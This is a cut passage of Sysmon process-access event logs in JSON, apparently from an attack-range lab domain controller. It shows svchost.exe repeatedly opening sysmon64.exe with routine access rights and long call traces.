C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 